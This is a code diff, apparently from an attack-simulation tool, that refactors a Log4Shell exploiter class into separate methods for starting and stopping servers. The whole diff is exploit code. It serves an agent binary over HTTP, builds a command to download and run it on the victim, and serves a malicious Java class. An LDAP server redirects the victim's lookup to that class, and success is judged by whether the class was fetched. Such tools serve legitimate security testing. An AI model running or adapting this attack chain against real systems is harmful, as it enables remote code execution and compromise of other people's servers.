Agent: refactor log4shell

Refactor extracts server setup and shutdown functionality into separate methods

monkey/infection_monkey/exploit/log4shell.py

@@ -42,47 +42,75 @@ class Log4ShellExploiter(WebRCE):
         self.ldap_port = get_free_tcp_port()
         self.class_http_server_port = get_free_tcp_port()
 
+        self.ldap_server_thread = None
+        self.ldap_server = None
+        self.agent_http_server_thread = None
+        self.java_class_http_server_thread = None
+
     def _exploit_host(self):
+        self.start_servers()
+        try:
+            self.exploit(None, None)
+        finally:
+            self.stop_servers()
 
+        # If java class was downloaded it means that victim is vulnerable
+        return Log4ShellExploiter.HTTPHandler.class_downloaded
+
+    def start_servers(self):
+        # Start http server, to serve agent to victims
         paths = self.get_monkey_paths()
+        agent_http_path = self.start_agent_http_server(paths)
+
+        # Build agent execution command
+        command = self.build_command(paths["dest_path"], agent_http_path)
+
+        # Start http server to serve malicious java class to victim
+        class_server_ip = self.start_class_http_server(command)
+        # Start ldap server to redirect ldap query to java class server
+        self.start_ldap_server(class_server_ip)
+
+    def start_agent_http_server(self, agent_paths: dict) -> str:
         # Create server for http download and wait for it's startup.
-        http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
+        http_path, http_thread = HTTPTools.create_locked_transfer(
+            self.host, agent_paths["src_path"]
+        )
+        self.agent_http_server_thread = http_thread
         if not http_path:
-            logger.debug("Exploiter failed, http transfer creation failed.")
-            return False
+            logger.debug("Exploiter failed, couldn't start an http server to serve agent.")
+            raise Exception("Http server creation failed")
         logger.info("Started http server on %s", http_path)
+        return http_path
 
-        command = self.build_command(paths["dest_path"], http_path)
-
+    def start_class_http_server(self, command: str) -> str:
         java_class = self.build_java_class(command)
         class_http_server_ip = get_interface_to_target(self.host.ip_addr)
 
         java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class)
-        java_class_http_thread.start()
+        self.java_class_http_server_thread = java_class_http_thread
+        self.java_class_http_server_thread.start()
+        return class_http_server_ip
 
-        ldap = LDAPExploitServer(
+    def start_ldap_server(self, class_http_server_ip: str):
+        self.ldap_server = LDAPExploitServer(
             ldap_server_port=self.ldap_port,
             http_server_ip=class_http_server_ip,
             http_server_port=self.class_http_server_port,
             storage_dir=get_monkey_dir_path(),
         )
-        ldap_thread = ldap.get_run_thread()
-        ldap_thread.start()
+        ldap_thread = self.ldap_server.get_run_thread()
+        self.ldap_server_thread = ldap_thread
+        self.ldap_server_thread.start()
 
-        try:
-            self.exploit(None, None)
-        finally:
-            http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
-            http_thread.stop()
+    def stop_servers(self):
+        self.agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
+        self.agent_http_server_thread.stop()
 
-            java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
-            Log4ShellExploiter.HTTPHandler.stop = True
+        self.java_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
+        Log4ShellExploiter.HTTPHandler.stop = True
 
-            ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
-            ldap.stop()
-
-        # If java class was downloaded it means that victim is vulnerable
-        return Log4ShellExploiter.HTTPHandler.class_downloaded
+        self.ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT)
+        self.ldap_server.stop()
 
     def build_ldap_payload(self):
         interface_ip = get_interface_to_target(self.host.ip_addr)